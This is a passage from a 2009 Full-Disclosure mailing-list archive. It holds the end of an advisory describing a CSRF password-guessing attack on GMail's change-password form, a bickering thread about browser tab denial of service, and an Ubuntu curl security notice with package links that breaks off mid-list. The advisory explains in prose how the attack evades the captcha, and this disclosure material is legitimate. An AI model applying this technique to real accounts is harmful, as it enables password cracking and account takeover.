> The attacker can use deliberately a weak new password (see "Passwd"
> and "PasswdAgain" parameters), this way he can know if the analysed
> password is correct without need to modify the password of the victim
> user.
>
> Using weak passwords the "Change Password" response is:
>  - " The password you gave is incorrect. ", if the analysed password
> is not correct.
>  - " We're sorry, but you've selected an insecure password. In order
> to protect the security of your account, please click "Password
> Strength" to get tips on choosing to safer password. ", if the
> analysed password is correct and the victim password is not modified.
>
> If the attacker want to modify the password of the victim user, the
> waited response message is: " Your new password has been saved - OK ".
>
> In any case, the attacker evades the restrictions imposed by the
> captcha of the authentication form.
>
> 2. A user authenticated in GMail visit the "csrf-attack.html" page
> controlled by the attacker.
>
> For example, the attacker sends a mail to the victim (a GMail account)
> and provokes that the victim visits his page (social engineering). So,
> the attacker insures himself that the victim is authenticated.
>
> 3. The password cracking is executed transparently to the victim.
>
> V. BUSINESS IMPACT
> -------------------------
> - Selective DoS on users of the GMail service (changing user password).
> - Possible access to the mail of other GMail users.
>
> VI. SYSTEMS AFFECTED
> -------------------------
> Gmail service.
>
> VII. SOLUTION
> -------------------------
> No solution provided by vendor.
>
> VIII. REFERENCES
> -------------------------
> http://www.gmail.com
>
> IX. CREDITS
> -------------------------
> This vulnerability has been discovered and reported by
> Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
>
> X. REVISION HISTORY
> -------------------------
> July      31, 2007: Initial release
> August     1, 2007: Fewer corrections.
> December  30, 2008: Last details.
>
> XI. DISCLOSURE TIMELINE
> -------------------------
> July      30, 2007: Vulnerability acquired by
>                    Internet Security Auditors.
> August     1, 2007: Initial notification sent to the
>                    Google security team.
> August     1, 2007: Google security team request additional
>                    information.
>                    about and start review the vulnerability.
> August    13, 2007: Request information about the status.
> August    15, 2007: Google security team responds that they are still
>                    working on this.
> September 19, 2007: Request for the status. No response.
> November  26, 2007: Request for the status. No response.
> January    2, 2008: Request for the status. No response.
> January    4, 2008: Request for the status. No response.
> January   11, 2008: Request for the status. No response.
> January   15, 2008: Request for the status. Automated response.
> January   18, 2008: Google security team informs that don't expect
>                    behaviour to change in the short term giving
>                    the justification.
>                    We deconstruct those arguments as insufficient.
>                    No more responses.
> December  30, 2008: Request for the status. Confirmation from Google
>                    they won't change the consideration about this.
> January   11, 2009: Publication to Bugtraq. Rejected twice.
>                    No reasons.
> March     03, 2009: General publication for disclosure in other lists.
>
> XII. LEGAL NOTICES
> -------------------------
> The information contained within this advisory is supplied "as-is"
> with no warranties or guarantees of fitness of use or otherwise.
> Internet Security Auditors accepts no responsibility for any damage
> caused by the use or misuse of this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090303/21abeae9/attachment.html 

From JPARKHUR at dot.state.tx.us  Tue Mar  3 19:19:39 2009
From: JPARKHUR at dot.state.tx.us (Jim Parkhurst)
Date: Tue, 03 Mar 2009 13:19:39 -0600
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <e1b25fd0903030811p1616ed64j31dde80a399fb824@mail.gmail.com>
References: <20090303111825.D3B8D28042@smtp.hushmail.com>
	<e1b25fd0903030811p1616ed64j31dde80a399fb824@mail.gmail.com>
Message-ID: <49AD2E8A.1761.009C.3@dot.state.tx.us>

Can we stay on task, please?

>>> Jason Starks <jstarks440 at gmail.com> 03/03/2009 10:11 >>>
Mr. Mustache, it is obvious that I have more talent than a box of
chocolates, and that you envy the sadistic nature of your fellow trolls on
this list. Point blank.

On Tue, Mar 3, 2009 at 6:18 AM, <bobby.mugabe at hushmail.com> wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Dear Valdis,
>
> I have been able to reproduce a similar situation using Firefox
> under MacOSX, using different websites and a significantly larger
> number of tabs.  Do you think these issues might be related or are
> they operating system specific?  What model of CPU were you testing
> this issue under?
>
> Thanks,
> - -bm
>
> On Mon, 02 Mar 2009 23:41:53 -0500 Valdis' Mustache
> <security.mustache at gmail.com> wrote:
> >I would like to point out that I have been able to create a "hung"
> >state in the Firefox browser by opening 30 simultaneous tabs
> >pointed
> >at http://www.welcometointernet.org/lawnmower/ and adding a 31st
> >tab
> >viewing http://www.hotrussianbrides.com.
> >
> >Also, I am not amused.
> >
> >
> >Your humble servant,
> >Ze Mustache von Kletnieks
> >
> >On Mon, Mar 2, 2009 at 10:29 PM,  <bobby.mugabe at hushmail.com>
> >wrote:
> >> -----BEGIN PGP SIGNED MESSAGE-----
> >> Hash: SHA1
> >>
> >> Dear Nick,
> >>
> >> You and Thierry Loller are wrong.
> >>
> >> - -bm
> >>
> >> On Mon, 02 Mar 2009 21:28:17 -0500 Nick FitzGerald <nick at virus-
> >> l.demon.co.uk> wrote:
> >>>Chris Evans to Thierry Zoller:
> >>>
> >>>> > Example
> >>>> > If a chrome tab can be crashed arbritarely (remotely) it is
> >a
> >>>DoS attack
> >>>> > but with ridiculy low impact to the end-user as it only
> >>>crashes the tab
> >>>> > it was subjected to, and not the whole browser or operation
> >>>system.
> >>>> > But the fact remains that this was the impact of a DoS
> >>>condition,
> >>>> > the tab crashes arbritarily.
> >>>>
> >>>> Eh? If you visit www.evil.com and your tab crashes, that's no
> >>>> different from www.evil.com closing its own tab with
> >Javascript.
> >>>
> >>>But what if www.evil.com has run an injection attack of some
> >kind
> >>>(SQL,
> >>>XSS in blog comments, etc, etc) against www.stupid.com? 
> >>>
> >>>Visitors to stupid.com then suffer a DoS...
> >>>
> >>>Yes, stupid.com should run their site better, fix their myriad
> >XSS
> >>>holes,
> >>>etc, etc.
> >>>
> >>>But this is the Internet, so this "software flaw" can be
> >leveraged
> >>>as
> >>>security vulnerability.
> >>>
> >>>I'm with Thierry on this...
> >>>
> >>>
> >>>Regards,
> >>>
> >>>Nick FitzGerald
> >>>
> >>>
> >>>_______________________________________________
> >>>Full-Disclosure - We believe in it.
> >>>Charter: http://lists.grok.org.uk/full-disclosure-charter.html 
> >>>Hosted and sponsored by Secunia - http://secunia.com/ 
> >> -----BEGIN PGP SIGNATURE-----
> >> Charset: UTF8
> >> Version: Hush 3.0
> >> Note: This signature can be verified at
> >https://www.hushtools.com/verify 
> >>
> >>
> >wpwEAQMCAAYFAkmso8YACgkQhNp8gzZx3sj93AP/a+oFmgLbU2Elo0livpG3c6Qvh8+
> >0
> >>
> >b69LocD4LJmaR3NR4H7AHZYJiqm1TegwdTvtgY4sZd0lXi5EKZYTJMl9tj2Pd53fxXF
> >m
> >>
> >7eK5yf6oRGggrdOLyDjRkMV3bVnOppwXviMHdk8quxx8sDRxA99ZlKKUA40RXFa5eAh
> >p
> >> UpXIZ1s=
> >> =zgqd
> >> -----END PGP SIGNATURE-----
> >>
> >> --
> >> Become a medical transcriptionist at home, at your own pace.
> >>
> >http://tagline.hushmail.com/fc/BLSrjkqfMmg6RbMKs4GE43pzNkcKJRWafc7c 
> >DXj4iASDyccuLtQA2i9f1le/
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html 
> >> Hosted and sponsored by Secunia - http://secunia.com/ 
> >>
> >
> >_______________________________________________
> >Full-Disclosure - We believe in it.
> >Charter: http://lists.grok.org.uk/full-disclosure-charter.html 
> >Hosted and sponsored by Secunia - http://secunia.com/ 
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify 
>
> wpwEAQMCAAYFAkmtEaMACgkQhNp8gzZx3shZFwQAjiE2W/WUkNHrLIu1lBRz6oeDVrkn
> TmV8TCcaDpsvkRmhNrKFXYObPEatdJ0po7Iul333mllga8+elMukkH15J7BwUZdGlNA5
> wpE6zNx8ks6L9qS9UxklE8BErdTfUY/OF5FK4aZ92JcngL1xFTkZlDJS0lvIKGry3vju
> P7xAvvQ=
> =avqi
> -----END PGP SIGNATURE-----
>
> --
> Click to find great rates on health insurance, save big, shop here.
>
> http://tagline.hushmail.com/fc/BLSrjkqeRcNd9NCXSJiZxV7gq821SXvgq2GWai39WLJo4QlOxYCnjxaqn9u/ 
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html 
> Hosted and sponsored by Secunia - http://secunia.com/ 
>



From marc.deslauriers at canonical.com  Tue Mar  3 19:44:12 2009
From: marc.deslauriers at canonical.com (Marc Deslauriers)
Date: Tue, 03 Mar 2009 14:44:12 -0500
Subject: [Full-disclosure] [USN-726-1] curl vulnerability
Message-ID: <1236109452.6589.18.camel@mdlinux.technorage.com>

===========================================================
Ubuntu Security Notice USN-726-1             March 03, 2009
curl vulnerability
CVE-2009-0037
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 6.06 LTS
Ubuntu 7.10
Ubuntu 8.04 LTS
Ubuntu 8.10

This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.

The problem can be corrected by upgrading your system to the
following package versions:

Ubuntu 6.06 LTS:
  libcurl3                        7.15.1-1ubuntu3.1
  libcurl3-gnutls                 7.15.1-1ubuntu3.1

Ubuntu 7.10:
  libcurl3                        7.16.4-2ubuntu1.1
  libcurl3-gnutls                 7.16.4-2ubuntu1.1

Ubuntu 8.04 LTS:
  libcurl3                        7.18.0-1ubuntu2.1
  libcurl3-gnutls                 7.18.0-1ubuntu2.1

Ubuntu 8.10:
  libcurl3                        7.18.2-1ubuntu4.1
  libcurl3-gnutls                 7.18.2-1ubuntu4.1

In general, a standard system upgrade is sufficient to effect the
necessary changes.

Details follow:

It was discovered that curl did not enforce any restrictions when following
URL redirects. If a user or automated system were tricked into opening a URL to
an untrusted server, an attacker could use redirects to gain access to abitrary
files. This update changes curl behavior to prevent following "file" URLs after
a redirect.


Updated packages for Ubuntu 6.06 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.15.1-1ubuntu3.1.diff.gz
      Size/MD5:   187821 98a6bc2adb5c5673bdf39e10459be0e8
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.15.1-1ubuntu3.1.dsc
      Size/MD5:      946 54356fc9d1f2f629db92aec10f15ad52
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.15.1.orig.tar.gz
      Size/MD5:  1769992 63be206109486d4653c73823aa2b34fa

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dev_7.15.1-1ubuntu3.1_all.deb
      Size/MD5:    31260 e1a1c7938bbc15a8f1183fe1d6d0af0a

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.15.1-1ubuntu3.1_amd64.deb
      Size/MD5:   169568 1315f552c57d7db1315f81b41589792c
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.15.1-1ubuntu3.1_amd64.deb
      Size/MD5:   540736 bb54db6af7f71e8098b99f57c55a8c03
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls-dev_7.15.1-1ubuntu3.1_amd64.deb
      Size/MD5:   717326 74244221991d13b3e27d7600b25cc667
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.15.1-1ubuntu3.1_amd64.deb
      Size/MD5:   167960 0d960ee5cb9c386af7730dd6985e519e
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-openssl-dev_7.15.1-1ubuntu3.1_amd64.deb
      Size/MD5:   724246 a35139c3af268cb40a64b2d4562c239e
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.15.1-1ubuntu3.1_amd64.deb
      Size/MD5:   172910 33529da99980d7c599c1ddbf49a7a298

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.15.1-1ubuntu3.1_i386.deb
      Size/MD5:   168448 3ff82ec8fbffb489c198ef86ad45155b
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.15.1-1ubuntu3.1_i386.deb
      Size/MD5:   506770 10c355570dcb3812efa661f3359792fa
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls-dev_7.15.1-1ubuntu3.1_i386.deb
      Size/MD5:   700624 d9ed3ac37839ed446dd2d19f4c0ccac1
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.15.1-1ubuntu3.1_i386.deb
      Size/MD5:   160502 7325d0cd0802f12340de1e5ff8fc94ad
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-openssl-dev_7.15.1-1ubuntu3.1_i386.deb
      Size/MD5:   705276 442b603f3bef1bb6b76cb475108d0869
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.15.1-1ubuntu3.1_i386.deb
      Size/MD5:   165456 52191a45a9ccfb55dfa95a5d6059c4c4

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.15.1-1ubuntu3.1_powerpc.deb
      Size/MD5:   172084 3b8d50cd83bce1fbf4db132ac6b5fcf2
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.15.1-1ubuntu3.1_powerpc.deb
      Size/MD5:   542256 f038486866f70fd91641a338684c9fd7
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls-dev_7.15.1-1ubuntu3.1_powerpc.deb
      Size/MD5:   723702 ab81371909385b48de743ff8c6bdef1e
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.15.1-1ubuntu3.1_powerpc.deb
      Size/MD5:   170316 b131cc76e2315a6969e5d842ee00ac7d
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-openssl-dev_7.15.1-1ubuntu3.1_powerpc.deb
      Size/MD5:   729156 ecb7523175cc86845a65a45e584c52f4
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.15.1-1ubuntu3.1_powerpc.deb
      Size/MD5:   174808 75929f5b8f8665d595d71b1477428fe8

  sparc architecture (Sun SPARC/UltraSPARC):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.15.1-1ubuntu3.1_sparc.deb
      Size/MD5:   169262 d1227121940771c773000adf86cb2b25
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.15.1-1ubuntu3.1_sparc.deb
      Size/MD5:   510838 cedeacff8c06c39c973cb49e14098a72
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls-dev_7.15.1-1ubuntu3.1_sparc.deb
      Size/MD5:   710240 a69b147b9aa4e84755128b20cf8d6cc0
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.15.1-1ubuntu3.1_sparc.deb
      Size/MD5:   163088 2dc3c7c08147eb59e3b10df00a84380d
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-openssl-dev_7.15.1-1ubuntu3.1_sparc.deb
      Size/MD5:   714840 ef9596a90e8f5d3872dbb533c2e3a785
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.15.1-1ubuntu3.1_sparc.deb
      Size/MD5:   167244 0eb1ef9b9f24c1ce216bfac5ac61a770

Updated packages for Ubuntu 7.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.16.4-2ubuntu1.1.diff.gz
      Size/MD5:    23038 ec29fe4a6ce15381ee4d18977a01cf54
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.16.4-2ubuntu1.1.dsc
      Size/MD5:     1070 ee6f69c49d16d34809984d41ba9a95d9
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.16.4.orig.tar.gz
      Size/MD5:  2127522 b8f272cfe98fd5570447469e2faea844

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.16.4-2ubuntu1.1_amd64.deb
      Size/MD5:   175802 1031a8edbe06cac94c392dedc7453fe5
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.16.4-2ubuntu1.1_amd64.deb
      Size/MD5:  1030904 97008fb6866a84bfc1bfc6aadc387c37
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.16.4-2ubuntu1.1_amd64.deb
      Size/MD5:   180212 8879fd596ec6d374ecc3db7c590a4dee
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.16.4-2ubuntu1.1_amd64.deb
      Size/MD5:   186854 216542e4ee0aa37b12dfceb9f782431f
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.16.4-2ubuntu1.1_amd64.deb
      Size/MD5:   828040 3bef020322ca21c8673b55bcde5a7555
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.16.4-2ubuntu1.1_amd64.deb
      Size/MD5:   835418 03a845d4637949826e4b606675643351

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.16.4-2ubuntu1.1_i386.deb
      Size/MD5:   174936 a69d59cba07ca9611470fa45c441d41f
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.16.4-2ubuntu1.1_i386.deb
      Size/MD5:   998270 4adafc7307dec5a9194e53d27046862a
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.16.4-2ubuntu1.1_i386.deb
      Size/MD5:   176140 63ce96a012b6b57e14ada06f633293f8
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.16.4-2ubuntu1.1_i386.deb
      Size/MD5:   182128 cc373dd8b1383abc9647b2755dcc82c2
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.16.4-2ubuntu1.1_i386.deb
      Size/MD5:   802764 b4f2f06c793123ffc85ecd754d27a799
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.16.4-2ubuntu1.1_i386.deb
      Size/MD5:   808706 4cdc8ddd315dbd125b6dd6fd9254f584

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.16.4-2ubuntu1.1_lpia.deb
      Size/MD5:   174826 826bd0dc3bab6c9df46b737c99a4cc12
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.16.4-2ubuntu1.1_lpia.deb
      Size/MD5:  1016026 54999bbac5f7b80c03a450d0fa782e2c
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.16.4-2ubuntu1.1_lpia.deb
      Size/MD5:   174294 4b881eab13f96f101f233b8d8066a1eb
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.16.4-2ubuntu1.1_lpia.deb
      Size/MD5:   180832 7e9738237d5a15b0117463d9c9067925
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.16.4-2ubuntu1.1_lpia.deb
      Size/MD5:   800482 8f79859acd3d9c5656c8776bd595aa17
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.16.4-2ubuntu1.1_lpia.deb
      Size/MD5:   806612 d310180304c4688ad36b734a929514aa

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.16.4-2ubuntu1.1_powerpc.deb
      Size/MD5:   179486 e0fb5643133b30cc3e258820cf17d67d
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.16.4-2ubuntu1.1_powerpc.deb
      Size/MD5:  1045612 845b188923e649bc8a165b8356e7f406
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.16.4-2ubuntu1.1_powerpc.deb
      Size/MD5:   187794 cd8cd13657a67c0367bae7c821075cbb
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.16.4-2ubuntu1.1_powerpc.deb
      Size/MD5:   193612 d4178d220ba2d1e12005387e9226a27b
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.16.4-2ubuntu1.1_powerpc.deb
      Size/MD5:   826054 ce04418fbb88124acc4705e9372ecd30
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.16.4-2ubuntu1.1_powerpc.deb
      Size/MD5:   831906 3a8efee4daf4b2ca73165bd2ec1e2883

  sparc architecture (Sun SPARC/UltraSPARC):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.16.4-2ubuntu1.1_sparc.deb
      Size/MD5:   175644 6b184238aa16330227fa2ef555b6e558
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.16.4-2ubuntu1.1_sparc.deb
      Size/MD5:   990958 66b0b3669cba60f631ed6a0a24617188
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.16.4-2ubuntu1.1_sparc.deb
      Size/MD5:   174762 e8750cc8896cfcffce4815777ac3caee
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.16.4-2ubuntu1.1_sparc.deb
      Size/MD5:   179512 c0e79f63b732fbbc405652f107878b84
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.16.4-2ubuntu1.1_sparc.deb
      Size/MD5:   808072 684fb0a815911676557b5debd393a1fe
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.16.4-2ubuntu1.1_sparc.deb
      Size/MD5:   814506 1aa48c17a5be7a7373b045abfc18da3d

Updated packages for Ubuntu 8.04 LTS:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.0-1ubuntu2.1.diff.gz
      Size/MD5:    23694 d86f917e0253ba822db6d2424798463c
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.0-1ubuntu2.1.dsc
      Size/MD5:     1101 1a3e33be24181c7ffc8f7b60816e249d
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.0.orig.tar.gz
      Size/MD5:  2285430 76ff5a7fa2e00b25ded5302885d4c3e2

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.0-1ubuntu2.1_amd64.deb
      Size/MD5:   197866 101c380ab9d9ab90cd8eb29feb9b1afc
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.18.0-1ubuntu2.1_amd64.deb
      Size/MD5:  1054384 bc98cdd6d1571106757d2411ad6ffd3c
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.18.0-1ubuntu2.1_amd64.deb
      Size/MD5:   202642 f663841bc8e03556b2d41ef1d7260930
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.18.0-1ubuntu2.1_amd64.deb
      Size/MD5:   209456 e8acd7503ad26b01aae5375b90178a48
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.18.0-1ubuntu2.1_amd64.deb
      Size/MD5:   896296 fd68ba64689210d59e867787ba4abb20
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.18.0-1ubuntu2.1_amd64.deb
      Size/MD5:   904552 7644776a5d3a3b1922a3507a37ec05dc

  i386 architecture (x86 compatible Intel/AMD):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.0-1ubuntu2.1_i386.deb
      Size/MD5:   197074 00eb30ecbc6793f1d10bed5c8bbf5bf5
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.18.0-1ubuntu2.1_i386.deb
      Size/MD5:  1039734 541d32169bfe1529dd2d4745a1226eb1
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.18.0-1ubuntu2.1_i386.deb
      Size/MD5:   198480 b4ca187d0408dc35836646c5f966bf90
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.18.0-1ubuntu2.1_i386.deb
      Size/MD5:   205782 c61cf64efc7baa7cb37a03bed19cfa6a
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.18.0-1ubuntu2.1_i386.deb
      Size/MD5:   870314 7e275b66161a6cf9c32fbdc4750805eb
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-openssl-dev_7.18.0-1ubuntu2.1_i386.deb
      Size/MD5:   877390 b8889ec5febb2da66b0dae49295e6844

  lpia architecture (Low Power Intel Architecture):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.0-1ubuntu2.1_lpia.deb
      Size/MD5:   196994 f85f088f37ed84c756fd75a5ba9c1829
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.0-1ubuntu2.1_lpia.deb
      Size/MD5:  1046972 f93a0314315ca010c1e000d6094b529e
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.0-1ubuntu2.1_lpia.deb
      Size/MD5:   197474 bedb0ae75d50745d9070d598a7f3bbed
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.0-1ubuntu2.1_lpia.deb
      Size/MD5:   204090 7db96e2a1af5229b5c05fe332c30f756
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.0-1ubuntu2.1_lpia.deb
      Size/MD5:   869990 16be192ab09c1ca78a48d50b599b6868
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.0-1ubuntu2.1_lpia.deb
      Size/MD5:   876092 896c0bbc2eee392cbac4a18b5996931b

  powerpc architecture (Apple Macintosh G3/G4/G5):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.0-1ubuntu2.1_powerpc.deb
      Size/MD5:   201932 c3f6e455e85ddc6e69daf3431ea58e74
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.0-1ubuntu2.1_powerpc.deb
      Size/MD5:  1063946 a5d52c748048bf586cedb02daf29fb7a
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.0-1ubuntu2.1_powerpc.deb
      Size/MD5:   210994 5602b8c0c9979c0eba7eff319d5bc77e
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.0-1ubuntu2.1_powerpc.deb
      Size/MD5:   216006 8d65ea79097e0e635f75382d7aaecf6b
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.0-1ubuntu2.1_powerpc.deb
      Size/MD5:   895512 ef52c8d4b5a097751646d1174bca4c35
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.0-1ubuntu2.1_powerpc.deb
      Size/MD5:   902650 dd88be6fee4e0382db0af0cc490877b0

  sparc architecture (Sun SPARC/UltraSPARC):

    http://ports.ubuntu.com/pool/main/c/curl/curl_7.18.0-1ubuntu2.1_sparc.deb
      Size/MD5:   197586 db78b2c9b6402e0f9ed9cb9bf7cd4872
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-dbg_7.18.0-1ubuntu2.1_sparc.deb
      Size/MD5:  1027024 0ead1406330f62ff04c0177d185a53a9
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3-gnutls_7.18.0-1ubuntu2.1_sparc.deb
      Size/MD5:   196652 3e829cf092deb68935946eccb4471663
    http://ports.ubuntu.com/pool/main/c/curl/libcurl3_7.18.0-1ubuntu2.1_sparc.deb
      Size/MD5:   202218 ba4d43feba5bc66630d46766f1ae5dd3
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-gnutls-dev_7.18.0-1ubuntu2.1_sparc.deb
      Size/MD5:   877208 20b30bf93d62e6c2c165ee6be374435f
    http://ports.ubuntu.com/pool/main/c/curl/libcurl4-openssl-dev_7.18.0-1ubuntu2.1_sparc.deb
      Size/MD5:   883238 66b2bc1ab0da39b981e35aaf694e6b67

Updated packages for Ubuntu 8.10:

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.1.diff.gz
      Size/MD5:    22211 6e74e8584ae7aebb6c14d3a114796454
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.1.dsc
      Size/MD5:     1491 9b355d2d245a85cbca121726652e7f8d
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2.orig.tar.gz
      Size/MD5:  2273077 4fe99398a64a34613c9db7bd61bf6e3c

  amd64 architecture (Athlon64, Opteron, EM64T Xeon):

    http://security.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.18.2-1ubuntu4.1_amd64.deb
      Size/MD5:   210246 d67a5eb49a6f5e427bd1654007f455a7
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-dbg_7.18.2-1ubuntu4.1_amd64.deb
      Size/MD5:  1124684 57f1830f3a2e4ffdec0180717f3191a0
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3-gnutls_7.18.2-1ubuntu4.1_amd64.deb
      Size/MD5:   216106 e36ff6ee975146c248c293ce0f8cfc6b
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl3_7.18.2-1ubuntu4.1_amd64.deb
      Size/MD5:   223206 56e2f570c4c989bca172cfc09a370d39
    http://security.ubuntu.com/ubuntu/pool/main/c/curl/libcurl4-gnutls-dev_7.18.2-1ubuntu4.1_amd64.deb
